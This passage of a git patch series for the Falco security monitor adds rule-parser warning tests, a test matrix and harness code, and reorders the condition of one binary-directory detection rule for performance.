zK%~hM7&CzARqbFZp^i>cu=t@|Ssgt>y$R|yXp^0c4-F@VApT7ZX^rN!q8^Q?8ZF;l
z;L=p@I>NqcK+0$$LjN=^pI=!yeY#jImCEHx#W1SX#~-iNOw+RJ^|iG#XV%xxo;`Q&
zi6_pVfAYzvp6c%ph3>ug@Zr_f>FEe>?<%WqvY=M;v>=IsdW<#7tXhoFh-l;~wHO88
z{DNAHQTL6k6va68A6JVB>Mp9qB)BJ|Nq|l<-vIcAs4oU7&{il8vrzOYb&{rcG8P9P
zP4Q$b0X~}E$>?xwL7k*YQZLVGlBYZzJFZUhq=#dR>f`_eN)E>WcaZr9sGsIE$?}a3
zvTvj8+Yt2^GwC<0$5<sM)FNvGE}TWyG?3#FwRl`)KC0fs$`PlS_wd|?W0UGZR%C#k
zVtE~8<&IIHgIMly^$=tC6pcN^7=o4a5aUBY9peOH3<UHTVe|k`af)UR)EHs;fu}e}
zV^ZK@iUr8aNI6YoX^qCI2MAfLgJ*tJEmH2BhicTQJEj(?B+iek#j;9fN2h1_-4SK2
zPzsmfj-PUQ>$mZ=e0F{jOyg)IHP8>HaVXL+?(5mi^L#BV{)V^Zw&%5G{`PYmZW)3b
zhQg~xSw~vUc%O}aaC&Zh{y}&lr0L7kY?KhCmzTihBuP46X!nS9n>Vn>rxzDyMjuME
zbjD`p7omjoCZ$ZF5{6-sSuIrczC$Mb?|y(A9xE{mIf6qobO(3f-AM4930(J7Dr9v?
z4IZw6jxZv^CZt+`S97BMX4a_c&V2VKaO^4VP2jj^tv7*&6VsbOv1cbXfg`4uH-TZ#
zAa4?fPZDneiOm#j4xUf-ZUP5pbDt68dUTPgaJ;{VRL@$gMg`qh!f0RIAC@f@^orGA
zJ$u;({=fbfxPYvWkMwaO;<aKTKr--m4fff?_c#ZzIJG=BGd(f41Uih#aI7yG4E!U}
zVLqr|)zY^AT*BpFb@|H<kmY&-(po=f16k(`$3Ni2pDR@DcqjH@J1*x$t~lOO&E<D{
zolIPLXU@g!^fC^#<@Gx-mIDLN#oDN~YT5Rm)@rst82ASR|6t%B4E%$Ee=zV52L8do
z|B4L!7e<$+_%QJjFWhZ8#FtMiych@mjRSr@6_6ku82H;G`!+KGbOK?+1AjgQBREDw
zHyHS{sf=LYe<=fh<w-HF7B1c%j_z(^mUO);oE;?DY+LT%!?qpY;yk%qtj-r3?)c`S
z7!|W}?5^)E>ovkABFV)4JXdrZwh?Xl8D;-AqAe$A&!}zJb<OVSw(Uw2=i;_2JzHM4
zD?#rj(JeQMJ;k?O<)aCDHi>Szi0*Af+mV=OljxQcglWYcLaU(r`m4EYVt5xZ>p6q}
zdyv50*}1|B37sK&xoVw-DQc}s^fjyBI$PD#6{Dh)1FiQKg)QB*{A%bsu$?sV7lfSO
zC)AN}R>fT6yLR~Y4y9lXfNdCJ6Y*@<5SvKM)yo<A{-H=RIUwCXG~n4kG%-6mwwShv
zvyX`FQlcx@WNd!s#O&N+IyMlwB5ONsS8+IPFY78zto<rY)5RIq1lzedGYwk@#wV6}
zo5d3S$^Pi!tN~jGp#3&uwNVZy^E2b^37n}HO1ThBL=uz_bjLQcwv)P)#T^^T?u$0C
zfM6rJ`<u<+VV|-Y9J}Ax4ARC|c<ega`hPR|I68haSQ}mBvC9Ss8#eZAB+$n@g+4|X
z`3v1WLI<OJ+qNrXs(U~A1wuY>kZa*vg)$EHaL?U}qiS7ha_h!ngW{5n4<}||O`Wd3
zGNtbu3o|Pf$Brz(_J-O%_J$1$EuI*kUmlyEogJMUcUE+H_tqCW)8}+=ectYkA-Z>*
z@`&kiSh9*l2n!v>5H=#ZfszQ>ydEeCom{Gt06|>;RfX(?_gyZ+pbl4Dg`g5Vqp!f`
zZ@NvoQZJPdM)nO~<CT5GgFg7!8Kzk*n=3e&{AZye00vKnU=&!BcB-OyJK%9E5VUaK
z3};trM!iZyur($p^b0}UR}g{^lD_`{M^>&UVR|Gr91WL^dc`VK^2T0~E~3HJvBHKW
ze?-XtrC*h+1)6zAtD0Dq4~Rs2FMRt8N%HgyFNlQ5jU)`0-eR%DLos{tO4<)1+Q?75
zX#2frFpyZ&EPXFjgZ;345XPIp-YHszmX9`+R=142d80u1U6E1G)r4*{QBMvI4h%fH
z-<KQ|3$Nk)D3<Kv-+4=Ro3~`Ajd~5XSB6b1XVk5|H;WWMhUnxQ8$&m;Mcvwq{ljyJ
ze&Jue=(q6POKasY{8f!oDc5gu+*gaNlY$UEg7mqvz6M(sav|6pv!>T>6JV)kV0?$e
zYXsPT#gbh7p|>Qjk<$T4A1WCudv6!`A4h!hPhR|+JvGrS&92DL2-N+r<(}S)$G_^~
zsT(+Ioi=mUs8}_lw6{+ny$X>oJm5uowYR)^Gh6Hj_Ft*N9-+OWkmL<W6hUVpP3&sA
ztW^r<3wc9iKqe1i@ecl?r+Cdc<g7^vBe2NVZ1mb&J?MnIPSgdt9N6+s5%rbBB2!{`
zu|Qzfv>KB&K7wa#vG*>4_f^EZu;#^krJ!ZKkjsT@`r~yNQtri>tgj;$>0AG}TdMn9
zxn=665btI1E(>nNdo%wAleloFHwn>*TDDrSTmIh0iVJk|1RRH<zut?nclgM~^fuMs
zUxx2rV^GdNw#Jm`@6Xu0a;LWi34zquuLTHd^Go3HT_W}SP-k6d3j-4bAPKDtt<!q}
z_L~A6omO>{eZ$JgzF|==RnD=Kx<q}6MY=?NiQU{af;8?PwO7QU6afr&ffxnd2ljZf
z6tL_24I!!uXa&||(k>T{_g3^0Y_T-0idKfF;P?-d23+i{9v|SJdN1Dabr0({Qxv=_
z!TB3Z5t6%3Wby;l9i-38xUEyXUZDRN(MP`L)yb{VZxHB51wSbxf@_VHFm{9aTz*iG
z>B)?y#pAJTBpHjq4qAvv<+B5^{GiYj{Q@4l=VL<hd&&I&+60NP|Gpt4C`{)6XcOqz
z*N38r{@4zWnrlrD?Caw(fj)AtS2eXpzeSL9*v|dEpZbJb$+kvEQvtT{vR^Ox=w{Hd
zlU=mY-+S)&H=aAwOH@C-8&uf0L`~2^p+;$R+st3GdGBFwQ#m@f1qkZgO_>I}MY;aX
z&ia@?Yb^22Lc|p4o#-Ql%*0qdlgsqOFd3DN@;aVi@5M2HI;eAYAjpLW{2+cE1f4tT
zAe3~_C8&BZ3c`L31Ns1P*$<&0ina%~3-!BySW8*EOrr#jJnWS~r(IfrV7r{OQ@Pr!
z>YUXwEGtw88wR7Gl2}BHf*K*&^LE<jye1471)`QK2tpq7gCN;gZ4lxwAvQw+K`uPt
zC&kqwBP<>?z{Z-zZWpTY-Y?pP`e|F;4B^jhqOFif?sja|$7Ab^9OlIbgWAuPXa@Xv
zH%~};Ew}L4OP#CPYB;wlc0TKsYQ&89mvjww*JDXCB4yU1<76l5^-*{Hf$C0F*hfS>
z;tR48@~i(Q=t1f79f-akD<(h?!(DeI-SyZFjNI$(79AdL0fJP*wgrwss<@(%XP-j7
zdEr;89=+Mf!;ld2FebzWm)4KglTzy)qMpbT)cu$*?%fbKzX^JL#HPnNZ@=cyqXh`k
z<Dke<c?Iw8vo)iV>jx8+(DKmoKL_s8CdyUs2L$-_Ubx9GgP2MS5G>dGL<_JMxryw+
z#`<j$kDS8uf`0*qmz9<|0!(uPa}ywlA>%FCH$<0x!%|-2C=o039-MXAD@;#1SA;zH
zqg}iN%03~iV2FWf3ZqOc(bKo{a?rURIy{6=%y8`o5Ax*COJHE~WR=2jIw6lfBP#6X
z(Pt%bzvPQshvMMdf7lvWLK&_98u{bmfA*R*4&Sx_LCQat<azayZ@ljh+?GwwrP}D!
zNi7WP81%v(7~a$C8T4ExnIDQo@~KoVn~%g&T4W#<i{yr)k->Z<9?uUBfsLC@MTRm1
z`XD?pl}cu!$#^c7iED#Hd7Y2Eu?5w*D8_}Oex-};h+5$qM|W&?oR5w9;e^O-<a^#q
zJDud4uMu2xuz?P1MyXz=7gW$usAg&XxeWH3b!5cr2vAEsnE<*Z<I$nyz@yl2DxX4v
zle>S<P4Fgj6WE!4HNzEn@5u9B6SN5)kcs{N_&*9fvTsBAVdwMkCqy|fzJEjcp`m`;
zvLM{u4TOVNtiwljYr3qh=toLMCJHBQVngx40h~sAN{B>Ho-0wY%L2MrI)SC}TQ0Y{
z2Z2pfg<vL9uhsf^9m)BQW(-rH_lS(2IVGs|!3JvCRfbvXR01Ao8_3792|b&Pry|iz
zHkpX)T69Ps%qH{kL_{CT#)q_2RLjR>shpO{4{4en%_k$Vd~{&T34~6YMun<6(QA-T
zZ-ii5y%NW6DIk~_J(7zZ%@|ljs0#8I8)~U7S9z-m*exaWI(bKq%m2>3WXHbLx1--Y
z{(nB9P$JU)2K%gc397pLtY4PI{i!7Gi;}pTMfc)P?-ohit&+IcN#Z^y#xCykZWT(`
z9rqKV_1tk6xf#jqN38GPO5zT{D2o2vxJ5~vCDu~haK9yq`;a8=w<U2Omc(6@#C@4&
z=qlgS;Lix!vk&l3D|<oq4bf%aL^F_U1(0$LSIU~j?OK{Yr6;|2wTKCcg2>Y2Y)DAS
zo}>Puzw^aZT7Y1wwlL|AHiyfgKpW%ZI9?$m-gOa&w1@>9gyuy35U;iZt3CdiPuQ-u
zT+&Qy89Znud<t{9nDvi1&`S8U4RX*sTjor9T(m*5-eG+EWe2nk{u?GS@;f^{lWOgg
z5CTLVu&4Eo-MGmlglv&p<D7iGBe!}7I_*n=v%kNU5J`}K^72&sByhfV?qRgAj(O)Z
z+9$zffXc#;AdTmci#H$(_agN!K6B7RJ;#P`0fMqHW~VadZG*<KIkY_TIx;de1B&bI
zf-&g42A#c!r9-$dzzmCPa>AB%mi|S;TGlG8>B#?>5}2yUStslw9rqUrIR~*If8>Ps
z3X;)*7+tn3RH}6=%ob)N*wpW94im+h|KD#86Te=3Lwgm6R#2~$(6D4(G+~c#a#`Gz
zV1{8&Nlnl5_NMLL2krj+CfXedj+xWBUqqLE!<I&xfhO^5F(AIbWdRBky9H(JLXTI*
z94+QbTlBW}z6fYC)LjS#QK+kq&vTN(gqc@zI9;&MMa#|IZ+=Ep8sp%iSKG7{?Zo<H
z>PK2ZLq)l$^1j;t4e5xD>BjRDjq)PRla}!@_=vAX(lqH0$%kpU=jdAuuCWL$K>RHV
zf`f%i3UuXGF_q+ueV8bi)DXwEK7kEOKI$E&CHa7YZYz-vqj+S<9%b<5<-J&AY-cDJ
ziuvy(I8k8tidV^AVpb^8Zxi+HdAOmzTORlnDg{s=>jewN{%OqY(aV&X*lK|rNHjq`
zrRv{<#P_*k<7~O6Jh^_uC@+g5;N}u+N)X{YcngvtA>r*xwbjuG%#oCh+F5t04vHfD
zF*ZbFt8Y11yVYMSGW!$Etg+R%Co@5EVF=oalWI+>S5OCjUX%m%9d*ATiTjcy?(34c
zZ%N|bBUFn!kDnE~1>?Q~`Cf-ANYDr+U#9D1-$d3@9f?VQNGNJLD^5G~wT!X8LO0K#
zuDeI1qKJ)76hO=IU07gx&<S+R`-2Hy(B6@sc-0R?)A}Hdub0&S21(p2C2==O;`U48
zZj!{k$`?nco&QY42@*?bg?(8CH$aT2-aSB$E!YACGkVHS<=6ZxE=Y6K2cX)q7r`hn
zB9PqwU6gspm|t<>cCQw@+3BYde#I1Qr-O#XJ_IuYiw`Y|w}}!fu*r&zo`wdtW3T1g
zkq{SS-es=ax#Fiq4AUZt%@#TTuFIz}ff3c4z|S;G0QX-)R}O7Y`SI6*h<}bvBM6EF
zmdRO*28PtwuLTHZRL7EEc)OnmAPHI~TDBj7doS_?OWJ9CS=nUe#zM)yVbZuZ+4DM1
zH-7a}crnDUr-L@|T^@%_xlg1{3q#GAI?NwqMh}SsV?nD{c^!F7_6@*keQCYvyv1QG
zoJa<P3M?Q|Jw>m1wv9~bN36N@Bkt>!e#Chb>JA`;C<j*EU5*$k2<b;Ghx8+sL;4ZR
z@p?%AFVU74<v=ncdEIue>>HLs_6@o6!w>O_u!%^RjD%g;PyP>kJ@O0UD@+1-mnj@2
zC2LpAa1uxF7ruS9Zy=3qvB5!IuOPuJrg-uF-nkL_ozjf*65USy8eF02X4*~IwfUi+
zK1jl80n&4gz4<$p7<%*)$=4(`RQj^EL^{g8;k<(E8_=D$1IqU8n2u-<WNo)h4RBU;
z#;~4`$jwqrlqu;)l&M{izIu7ffntTZ(CJyKy6QEpk~7MvSg^wd!lM?z2^gi9W59qK
zdB6pY?JlD@%82Y6p>?NiL2b=pQ986cDShy~uV@~76PLRQ2C;qY+PM_-AhwV6Besw9
zBeoB9M{xWp3W6-=F2@j-L;4ZRA^nKukbcB+yc=5azWb08+{L!oPTh;`3WY(&_(f5A
zCChtPXCh$BtA%XcE^MwA%Jh&!KV3US-s{L%A1T<Wu|A55`bpk`wgycMMh8=mqRtzZ
zeI9re8TIwD&x4Pmw03-n8Yg8tz9^4!`Gnxm9-VWjbQ){R^ConzfbIq;RG{&wJfiM8
zBIFWv7j?%ZaraB&j!EL)D2aPm5|{PGQF|S4Ug7)&eT$4&QjemxYQkx#ubOZg_Gs%O
z7iB*Q(=8j~PFMauV?R8X;*24_1OD%d@?zOg`nE%Vp|U!Mn`TCS&A(29n#HB!umn#C
zEDU1_$pYDdLfK-+4uI48AwT@1uU#lV{7@2ibOb)Y&&@YeBP_~}`+MNCSrNy-Z130$
zjRO}^kd&WouJ^ZRDom>PJ2Kmc?cAx^KGgf~6ny5=`vZdsTkpS1_Bm<m{byvKQ?}mk
z_)Z(t`?y}yax>Ppu#DJ@g?j%FH=_5qE#pGvW+8znET9_j*oZ6Y_C~0_#wduPvW+@p
zZiIulb-}zOZb1@vToQLe68DfK?vyX?I_MelB94e(6RyQRqzTtzAJT+tQSrRt(>#~n
zk)q`}EaVuVO)@}z-XsH*@z;wC7&z#2l*RinV`BI-h7wUa(6)IkxIZ2dgb>bUp$BT+
zj#su<)CxHmEPw3sFbcxh<-4L7Z77XOkOE%$j+8>`%ldX~IQRG|hU_B!$n&6i9fl0>
z>O#zG_RqMFp?-1K4hlnIEpYLMI)uF}_7Ega^P+kF3%Gb63g(G+ySu(y7`LM2OugX_
zmP0SO@KMi(Y{x<v6d*mX5HmHg=)hnqnzH9=ngSqK9K%d5{E9ylR##eQHjWo}!(8S%
ze^n?QoWp<>2DtPqg2L1HFwb8JZQ!P_uyc`$&2*ypJ9hIG2IS&7L4_T#I>lBV;&2W#
z9?s`j-RT_u1+2KoeH=p9DG!k+4%ma{1L_k83b_O70e8Q2;P8P0-Rlg|>@{<>1h+Go
z7DUstun<e1I9z6*AdX&Wc0i3h`6LJ>&6no?3!Z#2@DzBiQ}WXM-Qyuw{#vODyQdop
zpjnni_x3M)Y<zEFXc@Y#EQ5>`FMR34FC6}d$8HqdL+*jt@4_*+UZS$^gzOieC_Jr$
z7Y`!X&%qNB_WdSuJQUSNydSj85BsP_yx$Q?%JW0T-H7*KOT25E*6#uFMV=q-m1xWl
zB~p$@tsMGm#Crq(!06xD4nHHlHsZavC0?{C9&&`doNG<-`djAr!KQe-Tekbx8t|}u
z=*r9a%?7-%h*=b_9Pe8VcsGccJ6htsTNKA>2W;=#TH@gfpM!^zCD59*JD%oq@J<K>
z7?rc1yncAP&%wifZEs6FJbmZjA^inflXBt-I0p~m5no<TJPGFDVb6maM2?52#T-1$
z58FeIhbPJ$JcLILBFDp1XAU0L3)@kSho=S{yq^;l`_WCj#Bw}5Md0B5ov7d)!j<FU
zNdpHDZ7`&(91l+(IC$eCpSxP-ho=)9JftVmN1h*^U~uqm7Wtq?mgC_m2M6yz3B1;H
z!IKaU9&Ut1`pEOc(-ICI%2Dh3;fV?dFDDRxNg&Ge!&4UyUS61J*NTG5@$h7ZgSRXi
z;_ZT<ay&e};o!YR@aK11;^7Go2k)#9ptrQFAD;Md@D7Xi!=7JWPCOOj;N31}{l6#>
z<#>2<#KGGbf8yy92k$1qF#oe<et62m!NZ>I`Id5oJK`NY)JJG($m@qwUk;wg#$L*l
z<KZseM!eR1jl1(4JfX(m6*K;m=Z8D^96Yi6oxHIn9`5pU@Q^O(%JajWfDYc<L_R3@
zay;BE=-^>LB+#4mf4HO2!9#v--9O;2LkDk0WYk(;<8D0%56f9=Nl)C-=is59|Ex$r
zP8Zza=iv2;d~ktVj)%Jd9lS|__jJp0;!Z&a?>z$kHw8iE`QdIt2M_7ex*c$rmxG6s
znXhhHPTVEs;Js47x9(SPSCfM$)UAC5iM)Qe;^yFC`+cWnIdKKf!MjDk(-``b=Z7nD
z4&G}ycpG`g)i?+5LBwm>ez=0<;9<L=-j<hhZiFZA;9<MB#>+S0q5c!aZ9*5EiF5M%
ztU&k`;mXU2JE0sr<g?#xNf+F)<KUrwXkAX+VdLQa!+wtOe9L|scc3_UsLzm3<@LiI
zBMu&xv$fuR>oHy`2M_D@k1fl&u-*)BuSh^%PV0$gc*r+$JiIj6DJR0a`RxA#qXRWH

literal 0
HcmV?d00001

diff --git a/test/falco_rules_warnings.yaml b/test/falco_rules_warnings.yaml
new file mode 100644
index 00000000..476ca3ad
--- /dev/null
+++ b/test/falco_rules_warnings.yaml
@@ -0,0 +1,186 @@
+- rule: no_warnings
+  desc: Rule with no warnings
+  condition: evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: no_evttype
+  desc: No evttype at all
+  condition: proc.name=foo
+  output: "None"
+  priority: WARNING
+
+- rule: evttype_not_equals
+  desc: Using != for event type
+  condition: evt.type!=execve
+  output: "None"
+  priority: WARNING
+
+- rule: leading_not
+  desc: condition starts with not
+  condition: not evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_after_evttype
+  desc: != after evt.type, not affecting results
+  condition: evt.type=execve and proc.name!=foo
+  output: "None"
+  priority: WARNING
+
+- rule: not_after_evttype
+  desc: not operator after evt.type, not affecting results
+  condition: evt.type=execve and not proc.name=foo
+  output: "None"
+  priority: WARNING
+
+- rule: leading_trailing_evttypes
+  desc: evttype at beginning and end
+  condition: evt.type=execve and proc.name=foo or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: leading_multtrailing_evttypes
+  desc: one evttype at beginning, multiple at end
+  condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: leading_multtrailing_evttypes_using_in
+  desc: one evttype at beginning, multiple at end, using in
+  condition: evt.type=execve and proc.name=foo or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_at_end
+  desc: not_equals at final evttype
+  condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type!=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_at_end
+  desc: not operator for final evttype
+  condition: evt.type=execve and proc.name=foo or evt.type=open or not evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_trailing_evttype
+  desc: a not before a trailing event type
+  condition: evt.type=execve and not proc.name=foo or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_trailing_evttype
+  desc: a != before a trailing event type
+  condition: evt.type=execve and proc.name!=foo or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_and_not
+  desc: both != and not before event types
+  condition: evt.type=execve and proc.name!=foo or evt.type=open or not evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_in
+  desc: != before an in with event types
+  condition: evt.type=execve and proc.name!=foo or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_in
+  desc: a not before an in with event types
+  condition: evt.type=execve and not proc.name=foo or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: not_in_before_in
+  desc: a not with in before an in with event types
+  condition: evt.type=execve and not proc.name in (foo, bar) or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: evttype_in
+  desc: using in for event types
+  condition: evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: evttype_in_plus_trailing
+  desc: using in for event types and a trailing evttype
+  condition: evt.type in (execve, open) and proc.name=foo or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: leading_in_not_equals_before_evttype
+  desc: initial in() for event types, then a != before an additional event type
+  condition: evt.type in (execve, open) and proc.name!=foo or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: leading_in_not_equals_at_evttype
+  desc: initial in() for event types, then a != with an additional event type
+  condition: evt.type in (execve, open) or evt.type!=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_with_evttypes
+  desc: not in for event types
+  condition: not evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: not_with_evttypes_addl
+  desc: not in for event types, and an additional event type
+  condition: not evt.type in (execve, open) or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_evttype
+  desc: != before any event type
+  condition: proc.name!=foo and evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_in_evttype
+  desc: != before any event type using in
+  condition: proc.name!=foo and evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_evttype
+  desc: not operator before any event type
+  condition: not proc.name=foo and evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_evttype_using_in
+  desc: not operator before any event type using in
+  condition: not proc.name=foo and evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes
+  desc: event types appearing multiple times
+  condition: evt.type=open or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes_with_in
+  desc: event types appearing multiple times with in
+  condition: evt.type in (open, open)
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes_with_separate_in
+  desc: event types appearing multiple times with separate ins
+  condition: evt.type in (open) or evt.type in (open, open)
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes_with_mix
+  desc: event types appearing multiple times with mix of = and in
+  condition: evt.type=open or evt.type in (open, open)
+  output: "None"
+  priority: WARNING
+
diff --git a/test/falco_test.py b/test/falco_test.py
index b9358e17..8c4cf9f7 100644
--- a/test/falco_test.py
+++ b/test/falco_test.py
@@ -3,6 +3,7 @@
 import os
 import re
 import json
+import sets
 
 from avocado import Test
 from avocado.utils import process
@@ -16,9 +17,34 @@ class FalcoTest(Test):
         """
         self.falcodir = self.params.get('falcodir', '/', default=os.path.join(self.basedir, '../build'))
 
-        self.should_detect = self.params.get('detect', '*')
+        self.should_detect = self.params.get('detect', '*', default=False)
         self.trace_file = self.params.get('trace_file', '*')
-        self.json_output = self.params.get('json_output', '*')
+
+        if not os.path.isabs(self.trace_file):
+            self.trace_file = os.path.join(self.basedir, self.trace_file)
+
+        self.json_output = self.params.get('json_output', '*', default=False)
+        self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
+
+        if not os.path.isabs(self.rules_file):
+            self.rules_file = os.path.join(self.basedir, self.rules_file)
+
+        self.rules_warning = self.params.get('rules_warning', '*', default=False)
+        if self.rules_warning == False:
+            self.rules_warning = sets.Set()
+        else:
+            self.rules_warning = sets.Set(self.rules_warning)
+
+        # Maps from rule name to set of evttypes
+        self.rules_events = self.params.get('rules_events', '*', default=False)
+        if self.rules_events == False:
+            self.rules_events = {}
+        else:
+            events = {}
+            for item in self.rules_events:
+                for item2 in item:
+                    events[item2[0]] = sets.Set(item2[1])
+            self.rules_events = events
 
         if self.should_detect:
             self.detect_level = self.params.get('detect_level', '*')
@@ -33,21 +59,38 @@ class FalcoTest(Test):
 
         self.str_variant = self.trace_file
 
-    def test(self):
-        self.log.info("Trace file %s", self.trace_file)
+    def check_rules_warnings(self, res):
 
-        # Run the provided trace file though falco
-        cmd = '{}/userspace/falco/falco -r {}/../rules/falco_rules.yaml -c {}/../falco.yaml -e {} -o json_output={}'.format(
-            self.falcodir, self.falcodir, self.falcodir, self.trace_file, self.json_output)
+        found_warning = sets.Set()
 
-        self.falco_proc = process.SubProcess(cmd)
+        for match in re.finditer('Rule ([^:]+): warning \(([^)]+)\):', res.stderr):
+            rule = match.group(1)
+            warning = match.group(2)
+            found_warning.add(rule)
 
-        res = self.falco_proc.run(timeout=180, sig=9)
+        self.log.debug("Expected warning rules: {}".format(self.rules_warning))
+        self.log.debug("Actual warning rules: {}".format(found_warning))
 
-        if res.exit_status != 0:
-            self.error("Falco command \"{}\" exited with non-zero return value {}".format(
-                cmd, res.exit_status))
+        if found_warning != self.rules_warning:
+            self.fail("Expected rules with warnings {} does not match actual rules with warnings {}".format(self.rules_warning, found_warning))
 
+    def check_rules_events(self, res):
+
+        found_events = {}
+
+        for match in re.finditer('Event types for rule ([^:]+): (\S+)', res.stderr):
+            rule = match.group(1)
+            events = sets.Set(match.group(2).split(","))
+            found_events[rule] = events
+
+        self.log.debug("Expected events for rules: {}".format(self.rules_events))
+        self.log.debug("Actual events for rules: {}".format(found_events))
+
+        for rule in found_events.keys():
+            if found_events.get(rule) != self.rules_events.get(rule):
+                self.fail("rule {}: expected events {} differs from actual events {}".format(rule, self.rules_events.get(rule), found_events.get(rule)))
+
+    def check_detections(self, res):
         # Get the number of events detected.
         match = re.search('Events detected: (\d+)', res.stdout)
         if match is None:
@@ -73,6 +116,7 @@ class FalcoTest(Test):
             if not events_detected > 0:
                 self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, self.detect_level))
 
+    def check_json_output(self, res):
         if self.json_output:
             # Just verify that any lines starting with '{' are valid json objects.
             # Doesn't do any deep inspection of the contents.
@@ -82,6 +126,27 @@ class FalcoTest(Test):
                     for attr in ['time', 'rule', 'priority', 'output']:
                         if not attr in obj:
                             self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
+
+    def test(self):
+        self.log.info("Trace file %s", self.trace_file)
+
+        # Run the provided trace file though falco
+        cmd = '{}/userspace/falco/falco -r {} -c {}/../falco.yaml -e {} -o json_output={} -v'.format(
+            self.falcodir, self.rules_file, self.falcodir, self.trace_file, self.json_output)
+
+        self.falco_proc = process.SubProcess(cmd)
+
+        res = self.falco_proc.run(timeout=180, sig=9)
+
+        if res.exit_status != 0:
+            self.error("Falco command \"{}\" exited with non-zero return value {}".format(
+                cmd, res.exit_status))
+
+        self.check_rules_warnings(res)
+        if len(self.rules_events) > 0:
+            self.check_rules_events(res)
+        self.check_detections(res)
+        self.check_json_output(res)
         pass
 
 
diff --git a/test/falco_tests.yaml.in b/test/falco_tests.yaml.in
new file mode 100644
index 00000000..bb1eb511
--- /dev/null
+++ b/test/falco_tests.yaml.in
@@ -0,0 +1,62 @@
+trace_files: !mux
+  builtin_rules_no_warnings:
+    detect: False
+    trace_file: empty.scap
+    rules_warning: False
+
+  test_warnings:
+    detect: False
+    trace_file: empty.scap
+    rules_file: falco_rules_warnings.yaml
+    rules_warning:
+      - no_evttype
+      - evttype_not_equals
+      - leading_not
+      - not_equals_at_end
+      - not_at_end
+      - not_before_trailing_evttype
+      - not_equals_before_trailing_evttype
+      - not_equals_and_not
+      - not_equals_before_in
+      - not_before_in
+      - not_in_before_in
+      - leading_in_not_equals_before_evttype
+      - leading_in_not_equals_at_evttype
+      - not_with_evttypes
+      - not_with_evttypes_addl
+      - not_equals_before_evttype
+      - not_equals_before_in_evttype
+      - not_before_evttype
+      - not_before_evttype_using_in
+    rules_events:
+      - no_warnings: [execve]
+      - no_evttype: [all]
+      - evttype_not_equals: [all]
+      - leading_not: [all]
+      - not_equals_after_evttype: [execve]
+      - not_after_evttype: [execve]
+      - leading_trailing_evttypes: [execve,open]
+      - leading_multtrailing_evttypes: [connect,execve,open]
+      - leading_multtrailing_evttypes_using_in: [connect,execve,open]
+      - not_equals_at_end: [all]
+      - not_at_end: [all]
+      - not_before_trailing_evttype: [all]
+      - not_equals_before_trailing_evttype: [all]
+      - not_equals_and_not: [all]
+      - not_equals_before_in: [all]
+      - not_before_in: [all]
+      - not_in_before_in: [all]
+      - evttype_in: [execve,open]
+      - evttype_in_plus_trailing: [connect,execve,open]
+      - leading_in_not_equals_before_evttype: [all]
+      - leading_in_not_equals_at_evttype: [all]
+      - not_with_evttypes: [all]
+      - not_with_evttypes_addl: [all]
+      - not_equals_before_evttype: [all]
+      - not_equals_before_in_evttype: [all]
+      - not_before_evttype: [all]
+      - not_before_evttype_using_in: [all]
+      - repeated_evttypes: [open]
+      - repeated_evttypes_with_in: [open]
+      - repeated_evttypes_with_separate_in: [open]
+      - repeated_evttypes_with_mix: [open]
diff --git a/test/run_regression_tests.sh b/test/run_regression_tests.sh
index 8d63073b..efc40034 100755
--- a/test/run_regression_tests.sh
+++ b/test/run_regression_tests.sh
@@ -36,7 +36,7 @@ EOF
 }
 
 function prepare_multiplex_file() {
-    echo "trace_files: !mux" > $MULT_FILE
+    cp $SCRIPTDIR/falco_tests.yaml.in $MULT_FILE
 
     prepare_multiplex_fileset traces-positive True Warning False
     prepare_multiplex_fileset traces-negative False Warning True

From e04ac08fac5adb72ee71bc63382a67f051990061 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@gmail.com>
Date: Tue, 2 Aug 2016 14:26:42 -0700
Subject: [PATCH 13/17] More perf-related rule updates.

In modify_binary_dirs, move the bin_dir_rename check before modify,
which is just a bunch of evt.type checks and is handled by evttype
filters.

Change create_files_below_dev to put the directory check first.
---
 rules/falco_rules.yaml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml
index 272c1e21..791e9b77 100644
--- a/rules/falco_rules.yaml
+++ b/rules/falco_rules.yaml
@@ -230,7 +230,7 @@
 
 - rule: modify_binary_dirs
   desc: an attempt to modify any file below a set of binary directories.
-  condition: modify and bin_dir_rename and not package_mgmt_procs
+  condition: bin_dir_rename and modify and not package_mgmt_procs
   output: "File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline operation=%evt.type file=%fd.name %evt.args)"
   priority: WARNING
 
@@ -317,7 +317,7 @@
